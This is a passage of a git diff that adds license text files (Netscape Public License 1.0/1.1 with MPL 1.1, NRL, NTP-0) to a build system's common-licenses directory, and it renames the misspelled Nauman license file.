+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a ``commercial item,'' as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of ``commercial computer software'' and ``commercial computer software documentation,'' as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in, the United States of America: (a) unless otherwise agreed in writing, all disputes relating to this License (excepting any dispute relating to intellectual property rights) shall be subject to final and binding arbitration, with the losing party paying all costs of arbitration; (b) any arbitration relating to this Agreement shall be held in Santa Clara County, California, under the auspices of JAMS/EndDispute; and (c) any litigation relating to this Agreement shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+Except in cases where another Contributor has failed to comply with Section 3.4, You are responsible for damages arising, directly or indirectly, out of Your utilization of rights under this License, based on the number of copies of Covered Code you made available, the revenues you received from utilizing such rights, and other relevant factors. You agree to work with affected parties to distribute responsibility on an equitable basis.
+
+AMENDMENTS
+Additional Terms applicable to the Netscape Public License.
+
+ I. Effect. These additional terms described in this Netscape Public License -- Amendments shall apply to the Mozilla Communicator client code and to all Covered Code under this License.
+ II. ``Netscape's Branded Code'' means Covered Code that Netscape distributes and/or permits others to distribute under one or more trademark(s) which are controlled by Netscape but which are not licensed for use under this License.
+ III. Netscape and logo. This License does not grant any rights to use the trademark ``Netscape'', the ``Netscape N and horizon'' logo or the Netscape lighthouse logo, even if such marks are included in the Original Code.
+ IV. Inability to Comply Due to Contractual Obligation. Prior to licensing the Original Code under this License, Netscape has licensed third party code for use in Netscape's Branded Code. To the extent that Netscape is limited contractually from making such third party code available under this License, Netscape may choose to reintegrate such code into Covered Code without being required to distribute such code in
+Source Code form, even if such code would otherwise be considered ``Modifications'' under this License.
+ V. Use of Modifications and Covered Code by Initial Developer.
+ V.1. In General. The obligations of Section 3 apply to Netscape, except to the extent specified in this Amendment, Section V.2 and V.3. V.2. Other Products. Netscape may include Covered Code in products other than the Netscape's Branded Code which are released by Netscape during the two (2) years following the release date of the Original Code, without such additional products becoming subject to the terms of this License, and may license such additional products on different terms from those contained in this License. V.3. Alternative Licensing. Netscape may license the Source Code of Netscape's Branded Code, including Modifications incorporated therein, without such additional products becoming subject to the terms of this License, and may license such additional products on different terms from those contained in this License.
+
+ VI. Arbitration and Litigation. Notwithstanding the limitations of Section 11 above, the provisions regarding arbitration and litigation in Section 11(a), (b) and (c) of the License shall apply to all disputes relating to this License.
+
+EXHIBIT A.
+
+“The contents of this file are subject to the Netscape Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/NPL/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+The Original Code is Mozilla Communicator client code, released March 31, 1998.
+The Initial Developer of the Original Code is Netscape Communications Corporation. Portions created by Netscape are Copyright (C) 1998 Netscape Communications Corporation. All Rights Reserved.
+Contributor(s): ______________________________________.”
+[NOTE: The text of this Exhibit A may differ slightly from the text of the notices in the Source Code files of the Original Code. This is due to time constraints encountered in simultaneously finalizing the License and in preparing the Original Code for release. You should use the text of this Exhibit A rather than the text found in the Original Code Source Code for Your Modifications.]
diff --git a/meta/files/common-licenses/NPL-1.1 b/meta/files/common-licenses/NPL-1.1
new file mode 100644
index 0000000000..62c5296400
--- /dev/null
+++ b/meta/files/common-licenses/NPL-1.1
@@ -0,0 +1,186 @@
+Netscape Public LIcense version 1.1
+
+AMENDMENTS
+
+The Netscape Public License Version 1.1 ("NPL") consists of the Mozilla Public License Version 1.1 with the following Amendments, including Exhibit A-Netscape Public License.  Files identified with "Exhibit A-Netscape Public License" are governed by the Netscape Public License Version 1.1.
+
+Additional Terms applicable to the Netscape Public License.
+
+ I. Effect.
+ These additional terms described in this Netscape Public License -- Amendments shall apply to the Mozilla Communicator client code and to all Covered Code under this License.
+
+ II. "Netscape's Branded Code" means Covered Code that Netscape distributes and/or permits others to distribute under one or more trademark(s) which are controlled by Netscape but which are not licensed for use under this License.
+ III. Netscape and logo.
+ This License does not grant any rights to use the trademarks "Netscape", the "Netscape N and horizon" logo or the "Netscape lighthouse" logo, "Netcenter", "Gecko", "Java" or "JavaScript", "Smart Browsing" even if such marks are included in the Original Code or Modifications.
+ IV. Inability to Comply Due to Contractual Obligation.
+ Prior to licensing the Original Code under this License, Netscape has licensed third party code for use in Netscape's Branded Code. To the extent that Netscape is limited contractually from making such third party code available under this License, Netscape may choose to reintegrate such code into Covered Code without being required to distribute such code in Source Code form, even if such code would otherwise be considered "Modifications" under this License.
+ V. Use of Modifications and Covered Code by Initial Developer.
+ V.1. In General.
+ The obligations of Section 3 apply to Netscape, except to the extent specified in this Amendment, Section V.2 and V.3.
+
+ V.2. Other Products.
+ Netscape may include Covered Code in products other than the Netscape's Branded Code which are released by Netscape during the two (2) years following the release date of the Original Code, without such additional products becoming subject to the terms of this License, and may license such additional products on different terms from those contained in this License.
+
+ V.3. Alternative Licensing.
+ Netscape may license the Source Code of Netscape's Branded Code, including Modifications incorporated therein, without such Netscape Branded Code becoming subject to the terms of this License, and may license such Netscape Branded Code on different terms from those contained in this License.
+
+ VI. Litigation.
+ Notwithstanding the limitations of Section 11 above, the provisions regarding litigation in Section 11(a), (b) and (c) of the License shall apply to all disputes relating to this License.
+
+ EXHIBIT A-Netscape Public License.
+  
+"The contents of this file are subject to the Netscape Public License Version 1.1 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/NPL/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is Mozilla Communicator client code, released March 31, 1998.
+
+The Initial Developer of the Original Code is Netscape Communications Corporation. Portions created by Netscape are Copyright (C) 1998-1999 Netscape Communications Corporation. All Rights Reserved.
+Contributor(s): ______________________________________.
+  
+Alternatively, the contents of this file may be used under the terms of the _____ license (the  "[___] License"), in which case the provisions of [______] License are applicable  instead of those above.  If you wish to allow use of your version of this file only under the terms of the [____] License and not to allow others to use your version of this file under the NPL, indicate your decision by deleting  the provisions above and replace  them with the notice and other provisions required by the [___] License.  If you do not delete the provisions above, a recipient may use your version of this file under either the NPL or the [___] License."
+
+
+Mozilla Public License Version 1.1
+
+1. Definitions.
+
+ 1.0.1. "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document.
+
+ 1.8.1. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.10.1. "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ a. under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+ b. under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ c. the licenses granted in this Section 2.1 (a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ d. Notwithstanding Section 2.1 (b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+ 2.2. Contributor Grant. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+
+ a. under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+ b. under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+ c. the licenses granted in Sections 2.2 (a) and 2.2 (b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+ d. Notwithstanding Section 2.2 (b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ 3.3. Description of Modifications. You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+
+ (a) Third Party Claims
+ If Contributor has knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Contributor APIs
+ If Contributor's Modifications include an application programming interface and Contributor has knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+
+ (c) Representations.
+ Contributor represents that, except as disclosed pursuant to Section 3.4 (a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+ 3.5. Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Sections 3.1, 3.2, 3.3, 3.4 and 3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+ 3.7. Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions
+ Netscape Communications Corporation ("Netscape") may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions
+ Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Netscape. No one other than Netscape has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works
+ If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape", "MPL", "NPL" or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the Mozilla Public License and Netscape Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. Termination
+
+ 8.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+
+ a. such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+ b. any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+ 8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+ 8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. government end users
+The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. Miscellaneous
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. Responsibility for claims
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. Multiple-licensed code
+Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of the MPL or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+Exhibit A - Mozilla Public License.
+
+"The contents of this file are subject to the Mozilla Public License Version 1.1 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/MPL/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is ______________________________________.
+
+The Initial Developer of the Original Code is ________________________.
+Portions created by ______________________ are Copyright (C) ______
+_______________________. All Rights Reserved.
+
+Contributor(s): ______________________________________.
+
+Alternatively, the contents of this file may be used under the terms of the _____ license (the "[___] License"), in which case the provisions of [______] License are applicable instead of those above. If you wish to allow use of your version of this file only under the terms of the [____] License and not to allow others to use your version of this file under the MPL, indicate your decision by deleting the provisions above and replace them with the notice and other provisions required by the [___] License. If you do not delete the provisions above, a recipient may use your version of this file under either the MPL or the [___] License."
+
+NOTE: The text of this Exhibit A may differ slightly from the text of the notices in the Source Code files of the Original Code. You should use the text of this Exhibit A rather than the text found in the Original Code Source Code for Your Modifications.
diff --git a/meta/files/common-licenses/NRL b/meta/files/common-licenses/NRL
new file mode 100644
index 0000000000..5e104730c6
--- /dev/null
+++ b/meta/files/common-licenses/NRL
@@ -0,0 +1,28 @@
+NRL License
+
+COPYRIGHT NOTICE
+
+All of the documentation and software included in this software distribution from the US Naval Research Laboratory (NRL) are copyrighted by their respective developers.
+
+Portions of the software are derived from the Net/2 and 4.4-Lite Berkeley Software Distributions (BSD) of the University of California at Berkeley and those portions are copyright by The Regents of the University of California. All Rights Reserved. The UC Berkeley Copyright and License agreement is binding on those portions of the software. In all cases, the NRL developers have retained the original UC Berkeley copyright and license notices in the respective files in accordance with the UC Berkeley copyrights and license.
+
+Portions of this software and documentation were developed at NRL by various people. Those developers have each copyrighted the portions that they developed at NRL and have assigned All Rights for those portions to NRL. Outside the USA, NRL has copyright on some of the software developed at NRL. The affected files all contain specific copyright notices and those notices must be retained in any derived work.
+
+NRL LICENSE
+
+NRL grants permission for redistribution and use in source and binary forms, with or without modification, of the software and documentation created at NRL provided that the following conditions are met:
+
+ 1. All terms of the UC Berkeley copyright and license must be followed.
+ 2. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ 3. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ 4. All advertising materials mentioning features or use of this software must display the following acknowledgements:
+
+ This product includes software developed by the University of California, Berkeley and its contributors.
+
+ This product includes software developed at the Information Technology Division, US Naval Research Laboratory.
+
+ 5. Neither the name of the NRL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THE SOFTWARE PROVIDED BY NRL IS PROVIDED BY NRL AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NRL OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the US Naval Research Laboratory (NRL).
diff --git a/meta/files/common-licenses/NTP-0 b/meta/files/common-licenses/NTP-0
new file mode 100644
index 0000000000..84a2bdf6e6
--- /dev/null
+++ b/meta/files/common-licenses/NTP-0
@@ -0,0 +1,5 @@
+NTP No Attribution (NTP-0)
+
+Copyright (4-digit-year) by (CopyrightHoldersName)
+
+Permission to use, copy, modify, and distribute this software and its documentation for any purpose is hereby granted, provided that the name of (TrademarkedName) not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. (TrademarkedName) make no representations about the suitability of this software for any purpose. It is provided "as is" without express or implied warranty.
diff --git a/meta/files/common-licenses/Nauman b/meta/files/common-licenses/Nauman
deleted file mode 100644
index 69ce785ff3..0000000000
--- a/meta/files/common-licenses/Nauman
+++ /dev/null
@@ -1,50 +0,0 @@
-
-NAUMEN Public License
-This software is Copyright (c) NAUMEN (tm) and Contributors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or
-without modification, are permitted provided that the following
-conditions are met:
-
-1. Redistributions in source code must retain the above
-copyright notice, this list of conditions, and the following
-disclaimer.
-
-2. Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions, and the following
-disclaimer in the documentation and/or other materials
-provided with the distribution.
-
-3. The name NAUMEN (tm) must not be used to
-endorse or promote products derived from this software without prior
-written permission from NAUMEN.
-
-4. The right to distribute this software or to use it for any
-purpose does not give you the right to use Servicemarks (sm)
-or Trademarks (tm) of NAUMEN.
-
-5. If any files originating from NAUMEN or Contributors are modified, you must
-cause the modified files to carry prominent notices stating
-that you changed the files and the date of any change.
-
-Disclaimer:
-
-THIS SOFTWARE IS PROVIDED BY NAUMEN "AS IS" AND ANY EXPRESSED
-OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
-PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NAUMEN
-OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
-INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
-GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
-WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
-NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
-THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
-DAMAGE.
-
-This software consists of contributions made by NAUMEN
-and Contributors. Specific attributions are listed in the
-accompanying credits file.
-
diff --git a/meta/files/common-licenses/Naumen b/meta/files/common-licenses/Naumen
new file mode 100644
